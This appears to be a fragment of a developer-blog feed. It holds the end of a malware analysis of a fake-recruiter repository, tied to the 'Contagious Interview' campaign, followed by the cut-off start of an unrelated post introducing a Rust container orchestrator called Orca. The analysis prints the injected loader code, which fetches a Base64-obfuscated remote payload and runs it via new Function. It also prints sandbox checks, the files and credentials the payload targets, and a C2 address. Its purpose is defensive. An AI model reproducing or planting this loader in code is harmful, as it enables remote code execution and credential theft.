&lt;p&gt;Two files had been surgically modified:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;&lt;code&gt;server/config/config.js&lt;/code&gt;&lt;/strong&gt; — added three innocuous-looking exports:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="nx"&gt;exports&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;locationToken&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;aHR0cHM6Ly93d3cuanNvbmtlZXBlci5jb20vYi9VVkVYSA==&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="nx"&gt;exports&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;setApiKey&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;s&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nf"&gt;atob&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;s&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt; &lt;span class="p"&gt;};&lt;/span&gt;
&lt;span class="nx"&gt;exports&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;verify&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;api&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nx"&gt;axios&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;api&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt; &lt;span class="p"&gt;};&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;code&gt;locationToken&lt;/code&gt; is a Base64 string that decodes to &lt;code&gt;https://www.jsonkeeper.com/b/UVEXH&lt;/code&gt; — a third-party JSON hosting service used as a payload staging server.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;&lt;code&gt;server/routes/auth.js&lt;/code&gt;&lt;/strong&gt; — an IIFE injected at the top:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;async &lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="nf"&gt;verify&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;setApiKey&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;locationToken&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
    &lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;then&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;response&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
      &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nc"&gt;Function&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;require&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;Buffer&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="k"&gt;from&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;response&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;data&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;model&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;base64&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nf"&gt;toString&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;utf8&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;))(&lt;/span&gt;&lt;span class="nx"&gt;require&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="p"&gt;})&lt;/span&gt;
    &lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="k"&gt;catch&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;error&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="p"&gt;});&lt;/span&gt;
&lt;span class="p"&gt;})();&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;On server start, this silently fetches the remote payload, Base64-decodes it, and executes it via &lt;code&gt;new Function()&lt;/code&gt; — passing &lt;code&gt;require&lt;/code&gt; so it has full Node.js access. The catch block swallows all errors silently.&lt;/p&gt;




&lt;h2&gt;
  
  
  The Payload
&lt;/h2&gt;

&lt;p&gt;The payload fetched from jsonkeeper.com was a &lt;strong&gt;2.8MB RC4-obfuscated JavaScript file&lt;/strong&gt; — 17,278 encrypted string array entries, 508,646 array rotations, 119 wrapper decode functions. Not something you reverse by reading it.&lt;/p&gt;

&lt;p&gt;First thing it does after decoding itself: check if it's running in an analysis environment.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="c1"&gt;// Sandbox detection&lt;/span&gt;
&lt;span class="p"&gt;{}.&lt;/span&gt;&lt;span class="nf"&gt;constructor&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;return this&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)()&lt;/span&gt;  &lt;span class="c1"&gt;// behaves differently in vm.createContext&lt;/span&gt;

&lt;span class="c1"&gt;// WSL detection&lt;/span&gt;
&lt;span class="nx"&gt;process&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;env&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;WSL_DISTRO_NAME&lt;/span&gt;
&lt;span class="nx"&gt;fs&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;readFileSync&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;/proc/version&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nf"&gt;includes&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;microsoft&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="c1"&gt;// Debugger detection + VM heuristics&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;If it passes those checks, it silently installs four npm packages:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;npm &lt;span class="nb"&gt;install &lt;/span&gt;sql.js socket.io-client form-data axios &lt;span class="nt"&gt;--no-save&lt;/span&gt; &lt;span class="nt"&gt;--loglevel&lt;/span&gt; silent
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;code&gt;--no-save&lt;/code&gt; means nothing appears in &lt;code&gt;package.json&lt;/code&gt;. &lt;code&gt;--loglevel silent&lt;/code&gt; suppresses all output. Then it spawns three background processes and gets to work.&lt;/p&gt;




&lt;h2&gt;
  
  
  What It Was Designed to Steal
&lt;/h2&gt;

&lt;p&gt;I executed the payload in an isolated sandbox VM with no access to real credentials or production systems. Here's what it would have gone after on a real machine.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Browsers targeted (13):&lt;/strong&gt; Chrome, Firefox, Brave, Edge, Opera, Opera GX, Vivaldi, Yandex, Kiwi, Iridium, Comodo Dragon, SRWare Iron, Chromium.&lt;/p&gt;

&lt;p&gt;For Chromium-based browsers it runs direct SQLite queries against &lt;code&gt;Login Data&lt;/code&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight sql"&gt;&lt;code&gt;&lt;span class="k"&gt;SELECT&lt;/span&gt; &lt;span class="n"&gt;origin_url&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;username_value&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;password_value&lt;/span&gt; &lt;span class="k"&gt;FROM&lt;/span&gt; &lt;span class="n"&gt;logins&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Passwords are decrypted using platform key extraction (DPAPI on Windows, AES-GCM on Linux/macOS).&lt;/p&gt;

&lt;p&gt;For Firefox it targets both &lt;code&gt;logins.json&lt;/code&gt; AND &lt;code&gt;key4.db&lt;/code&gt; — with both files together all stored passwords are fully decryptable offline.&lt;/p&gt;

&lt;p&gt;It also targets:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;All files in &lt;code&gt;~/.ssh/&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;&lt;code&gt;~/.aws/credentials&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;~/.docker/config.json&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Any file matching: &lt;code&gt;.env&lt;/code&gt;, &lt;code&gt;password&lt;/code&gt;, &lt;code&gt;token&lt;/code&gt;, &lt;code&gt;secret&lt;/code&gt;, &lt;code&gt;api_key&lt;/code&gt;, &lt;code&gt;wallet&lt;/code&gt;, &lt;code&gt;.sqlite&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;macOS Keychain (&lt;code&gt;login.keychain-db&lt;/code&gt;)&lt;/li&gt;
&lt;li&gt;Brave wallet LevelDB storage&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Clipboard contents — monitored continuously and exfiltrated in real time&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Everything gets exfiltrated to &lt;code&gt;216.126.225.243&lt;/code&gt; (Ogden, Utah — bulletproof hosting on AS46664 VolumeDrive) via Socket.IO on port 8087 and HTTP uploads on ports 8085/8086.&lt;/p&gt;




&lt;h2&gt;
  
  
  The Fake Company
&lt;/h2&gt;

&lt;p&gt;Pass App was &lt;strong&gt;a real company&lt;/strong&gt; that shut down on December 16, 2025. They had 10.4K Twitter followers and announced their closure publicly. Their website went offline. Their LinkedIn presence went dormant.&lt;/p&gt;

&lt;p&gt;Four months later, the attacker hijacked that abandoned identity. The LinkedIn company page still had 585 followers and looked active. The real company's credibility became the attacker's cover.&lt;/p&gt;

&lt;p&gt;One tell: Andre's pitch described Pass App as &lt;em&gt;"a decentralized Airbnb-style platform"&lt;/em&gt; — completely different from the real product (an AI crypto wallet). The attacker's script hadn't been updated to match the brand they stole.&lt;/p&gt;




&lt;h2&gt;
  
  
  Attribution
&lt;/h2&gt;

&lt;p&gt;This is a known campaign called &lt;strong&gt;"Contagious Interview"&lt;/strong&gt; (also tracked as "Dev Recruiter"). It has been running since at least 2023 and is attributed to DPRK-linked threat actors — specifically Lazarus Group / TraderTraitor. The goal is financially motivated: cloud credentials, crypto wallets, and SSH keys to pivot into production infrastructure.&lt;/p&gt;

&lt;p&gt;The malware family is consistent with &lt;strong&gt;BeaverTail&lt;/strong&gt; (the obfuscated JS infostealer) and &lt;strong&gt;InvisibleFerret&lt;/strong&gt; (the Python-based backdoor that sometimes follows it).&lt;/p&gt;

&lt;p&gt;The &lt;code&gt;ukey: 506&lt;/code&gt; field in the C2 registration event suggests at least 506 active operator accounts in this campaign's infrastructure.&lt;/p&gt;




&lt;h2&gt;
  
  
  How I Caught It
&lt;/h2&gt;

&lt;p&gt;Code review before running anything. The &lt;code&gt;locationToken&lt;/code&gt; export looked odd — why is an API key Base64-encoded inline in config? Decoded it, saw jsonkeeper.com, fetched the URL, got a 2.8MB JSON blob with a &lt;code&gt;model&lt;/code&gt; field.&lt;/p&gt;

&lt;p&gt;I never ran it on my machine. I spun up an isolated VM instead.&lt;/p&gt;




&lt;h2&gt;
  
  
  What I Did About It
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;Spun up an isolated QEMU/KVM sandbox VM with no real credentials, executed the payload with full network monitoring&lt;/li&gt;
&lt;li&gt;Captured a 23MB PCAP of the full C2 handshake&lt;/li&gt;
&lt;li&gt;Fully deobfuscated the payload via dynamic instrumentation — hooked the decoder functions, captured 900,000+ ordered call records, reconstructed the full source&lt;/li&gt;
&lt;li&gt;Reported to FBI IC3, CISA, BSI Germany, Atlassian, jsonkeeper, and npm security&lt;/li&gt;
&lt;/ul&gt;




&lt;h2&gt;
  
  
  Red Flags — In Hindsight
&lt;/h2&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Signal&lt;/th&gt;
&lt;th&gt;What it meant&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Contact email is &lt;code&gt;@hotmail.com&lt;/code&gt; with random suffix&lt;/td&gt;
&lt;td&gt;Not a company domain — fake or hijacked account&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;LinkedIn connection made the day before the attack&lt;/td&gt;
&lt;td&gt;Purpose-built connection, not a real relationship&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Company website returns "Server Not Found"&lt;/td&gt;
&lt;td&gt;No legitimate business behind the persona&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Meeting scheduled but never confirmed&lt;/td&gt;
&lt;td&gt;Meeting was only a pretext to get the repo run&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Repo delivered before meeting acceptance&lt;/td&gt;
&lt;td&gt;Urgency tactic — get it executed before scrutiny&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Product description doesn't match company&lt;/td&gt;
&lt;td&gt;Attacker's script wasn't updated for the stolen brand&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;




&lt;h2&gt;
  
  
  Protect Yourself
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;Never run &lt;code&gt;npm install&lt;/code&gt; on a repo from someone you just met online&lt;/strong&gt; without reading every file in &lt;code&gt;package.json&lt;/code&gt; scripts, every entry point, and especially any files that run on startup.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Use a disposable VM&lt;/strong&gt; for any externally-provided code. No SSH agent forwarding. No access to &lt;code&gt;~/.aws&lt;/code&gt; or &lt;code&gt;~/.docker&lt;/code&gt;. Snapshot before, delete after.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Check the company website.&lt;/strong&gt; If it's down, walk away.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;A recruiter email that doesn't match their company domain is a hard stop.&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;If you've recently cloned a repo from a LinkedIn recruiter and ran it on your real machine — check your &lt;code&gt;~/.ssh/&lt;/code&gt;, &lt;code&gt;.env&lt;/code&gt; files, and browser credentials immediately. Look for lock files matching &lt;code&gt;{tmpdir}/pid.*.lock&lt;/code&gt;. If you find them, assume full compromise.&lt;/p&gt;




&lt;p&gt;&lt;em&gt;IOCs, full technical details, and deobfuscated payload signatures have been shared with law enforcement and submitted to MalwareBazaar and VirusTotal.&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;&lt;em&gt;Stay safe.&lt;/em&gt;&lt;/p&gt;

</description>
      <category>security</category>
      <category>javascript</category>
      <category>node</category>
      <category>webdev</category>
    </item>
    <item>
      <title>I Built a Container Orchestrator in Rust Because Kubernetes Was Too Much and Coolify Wasn't Enough</title>
      <dc:creator>Sharang Parnerkar</dc:creator>
      <pubDate>Fri, 10 Apr 2026 09:21:30 +0000</pubDate>
      <link>https://dev.to/mighty840/i-built-a-container-orchestrator-in-rust-because-kubernetes-was-too-much-and-coolify-wasnt-enough-4hj7</link>
      <guid>https://dev.to/mighty840/i-built-a-container-orchestrator-in-rust-because-kubernetes-was-too-much-and-coolify-wasnt-enough-4hj7</guid>
      <description>&lt;p&gt;There's a gap in the container orchestration world that nobody talks about.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Docker Compose&lt;/strong&gt; works for 1 server. &lt;strong&gt;Coolify&lt;/strong&gt; and &lt;strong&gt;Dokploy&lt;/strong&gt; give you a nice GUI but still cap at one node. &lt;strong&gt;Kubernetes&lt;/strong&gt; handles 10,000 nodes but requires a team of platform engineers just to keep the lights on.&lt;/p&gt;

&lt;p&gt;What if you have &lt;strong&gt;2 to 20 servers&lt;/strong&gt;, &lt;strong&gt;20 to 100 services&lt;/strong&gt;, and a team of 1 to 5 engineers who'd rather ship features than debug etcd quorum failures?&lt;/p&gt;

&lt;p&gt;That's exactly where I was. So I built &lt;strong&gt;Orca&lt;/strong&gt;.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Docker Compose ──&amp;gt; Coolify/Dokploy ──&amp;gt; Orca ──&amp;gt; Kubernetes
   (1 node)         (1 node, GUI)      (2-20)     (20-10k)
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  TL;DR
&lt;/h2&gt;

&lt;p&gt;Orca is a &lt;strong&gt;single-binary container + WebAssembly orchestrator&lt;/strong&gt; written in Rust. One 47MB executable replaces your control plane, container agent, CLI, reverse proxy with auto-TLS, and terminal dashboard. Deploy with TOML configs that fit on one screen — no YAML empires, no Helm charts, no CRDs.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;GitHub:&lt;/strong&gt; &lt;a href="https://github.com/mighty840/orca" rel="noopener noreferrer"&gt;github.com/mighty840/orca&lt;/a&gt;&lt;br&gt;
&lt;strong&gt;Install:&lt;/strong&gt; &lt;code&gt;cargo install mallorca&lt;/code&gt;&lt;/p&gt;
&lt;h2&gt;
  
  
  The Problem
&lt;/h2&gt;

&lt;p&gt;I was running ~60 services across 3 servers for multiple projects — compliance platforms, trading bots, YouTube automation pipelines, chat servers, AI gateways. Coolify worked great at first, but then I needed:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Services on &lt;strong&gt;multiple nodes&lt;/strong&gt; with DNS-based routing per node&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Auto-TLS&lt;/strong&gt; without manually configuring Caddy/Traefik per domain&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Git push deploys&lt;/strong&gt; that actually work across nodes&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Rolling updates&lt;/strong&gt; that don't take down the whole stack&lt;/li&gt;
&lt;li&gt;Config as code, not clicking through a GUI&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Kubernetes was the obvious answer, but for 3 nodes and a solo developer? That's like buying a Boeing 747 to commute to work.&lt;/p&gt;
&lt;h2&gt;
  
  
  What Orca Actually Does
&lt;/h2&gt;
&lt;h3&gt;
  
  
  Single Binary, Everything Included
&lt;/h3&gt;


&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;cargo &lt;span class="nb"&gt;install &lt;/span&gt;mallorca
orca install-service          &lt;span class="c"&gt;# systemd unit with auto port binding&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;systemctl start orca
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;p&gt;That one binary runs:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Control plane&lt;/strong&gt; with Raft consensus (openraft + redb — no etcd)&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Container runtime&lt;/strong&gt; via Docker/bollard&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;WebAssembly runtime&lt;/strong&gt; via wasmtime (5ms cold start, ~2MB per instance)&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Reverse proxy&lt;/strong&gt; with Host/path routing, WebSocket proxying, rate limiting&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;ACME client&lt;/strong&gt; for automatic Let's Encrypt certificates&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Secrets store&lt;/strong&gt; with AES-256 encryption at rest&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Health checker&lt;/strong&gt; with liveness/readiness probes and auto-restart&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;AI assistant&lt;/strong&gt; that diagnoses cluster issues in natural language&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;
  
  
  TOML Config That Humans Can Read
&lt;/h3&gt;


&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight toml"&gt;&lt;code&gt;&lt;span class="nn"&gt;[[service]]&lt;/span&gt;
&lt;span class="py"&gt;name&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="s"&gt;"api"&lt;/span&gt;
&lt;span class="py"&gt;image&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="s"&gt;"myorg/api:latest"&lt;/span&gt;
&lt;span class="py"&gt;port&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;8080&lt;/span&gt;
&lt;span class="py"&gt;domain&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="s"&gt;"api.example.com"&lt;/span&gt;
&lt;span class="py"&gt;health&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="s"&gt;"/healthz"&lt;/span&gt;

&lt;span class="nn"&gt;[service.env]&lt;/span&gt;
&lt;span class="py"&gt;DATABASE_URL&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="s"&gt;"${secrets.DB_URL}"&lt;/span&gt;
&lt;span class="py"&gt;REDIS_URL&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="s"&gt;"redis://cache:6379"&lt;/span&gt;

&lt;span class="nn"&gt;[service.resources]&lt;/span&gt;
&lt;span class="py"&gt;memory&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="s"&gt;"512Mi"&lt;/span&gt;
&lt;span class="py"&gt;cpu&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="mf"&gt;1.0&lt;/span&gt;

&lt;span class="nn"&gt;[service.liveness]&lt;/span&gt;
&lt;span class="py"&gt;path&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="s"&gt;"/healthz"&lt;/span&gt;
&lt;span class="py"&gt;interval_secs&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;30&lt;/span&gt;
&lt;span class="py"&gt;failure_threshold&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;3&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;p&gt;Compare that to the equivalent Kubernetes YAML. I'll wait.&lt;/p&gt;
&lt;h3&gt;
  
  
  Multi-Node in One Command
&lt;/h3&gt;


&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# On worker nodes:&lt;/span&gt;
orca install-service &lt;span class="nt"&gt;--leader&lt;/span&gt; 10.0.0.1:6880
&lt;span class="nb"&gt;sudo &lt;/span&gt;systemctl start orca-agent
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;p&gt;The agent connects to the master via &lt;strong&gt;bidirectional WebSocket&lt;/strong&gt; — no HTTP polling, no gRPC complexity. Deploy commands arrive instantly. When an agent reconnects after a network blip, the master sends the full desired state and the agent self-heals.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight toml"&gt;&lt;code&gt;&lt;span class="nn"&gt;[service.placement]&lt;/span&gt;
&lt;span class="py"&gt;node&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="s"&gt;"gpu-box"&lt;/span&gt;         &lt;span class="c"&gt;# Pin to a specific node&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  GitOps Without a CI Runner
&lt;/h3&gt;

&lt;p&gt;Orca has a built-in &lt;strong&gt;infra webhook&lt;/strong&gt;. Point your git host at the orca API, and every push triggers &lt;code&gt;git pull&lt;/code&gt; + full reconciliation:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# One-time setup:&lt;/span&gt;
curl &lt;span class="nt"&gt;-X&lt;/span&gt; POST http://localhost:6880/api/v1/webhooks &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-H&lt;/span&gt; &lt;span class="s2"&gt;"Authorization: Bearer &lt;/span&gt;&lt;span class="nv"&gt;$TOKEN&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-d&lt;/span&gt; &lt;span class="s1"&gt;'{"repo":"myorg/infra","service_name":"infra","branch":"main",
       "secret":"...","infra":true}'&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Push a config change → orca pulls → deploys only what changed. No Jenkins, no GitHub Actions runner, no ArgoCD.&lt;/p&gt;

&lt;p&gt;For image-only updates (CI pushes new &lt;code&gt;:latest&lt;/code&gt;), register a per-service webhook and orca force-pulls + restarts.&lt;/p&gt;

&lt;h2&gt;
  
  
  How It Compares
&lt;/h2&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Feature&lt;/th&gt;
&lt;th&gt;Coolify&lt;/th&gt;
&lt;th&gt;Dokploy&lt;/th&gt;
&lt;th&gt;Orca&lt;/th&gt;
&lt;th&gt;K8s&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Multi-node&lt;/td&gt;
&lt;td&gt;No&lt;/td&gt;
&lt;td&gt;No&lt;/td&gt;
&lt;td&gt;Yes (Raft)&lt;/td&gt;
&lt;td&gt;Yes (etcd)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Config format&lt;/td&gt;
&lt;td&gt;GUI&lt;/td&gt;
&lt;td&gt;GUI&lt;/td&gt;
&lt;td&gt;TOML&lt;/td&gt;
&lt;td&gt;YAML&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Auto-TLS&lt;/td&gt;
&lt;td&gt;Yes&lt;/td&gt;
&lt;td&gt;Yes&lt;/td&gt;
&lt;td&gt;Yes (ACME)&lt;/td&gt;
&lt;td&gt;cert-manager&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Secrets&lt;/td&gt;
&lt;td&gt;GUI&lt;/td&gt;
&lt;td&gt;GUI&lt;/td&gt;
&lt;td&gt;AES-256, &lt;code&gt;${secrets.X}&lt;/code&gt;
&lt;/td&gt;
&lt;td&gt;etcd + RBAC&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Rolling updates&lt;/td&gt;
&lt;td&gt;Basic&lt;/td&gt;
&lt;td&gt;Basic&lt;/td&gt;
&lt;td&gt;Yes + canary&lt;/td&gt;
&lt;td&gt;Yes&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Health checks&lt;/td&gt;
&lt;td&gt;Basic&lt;/td&gt;
&lt;td&gt;Basic&lt;/td&gt;
&lt;td&gt;Liveness + readiness&lt;/td&gt;
&lt;td&gt;Yes&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;WebSocket proxy&lt;/td&gt;
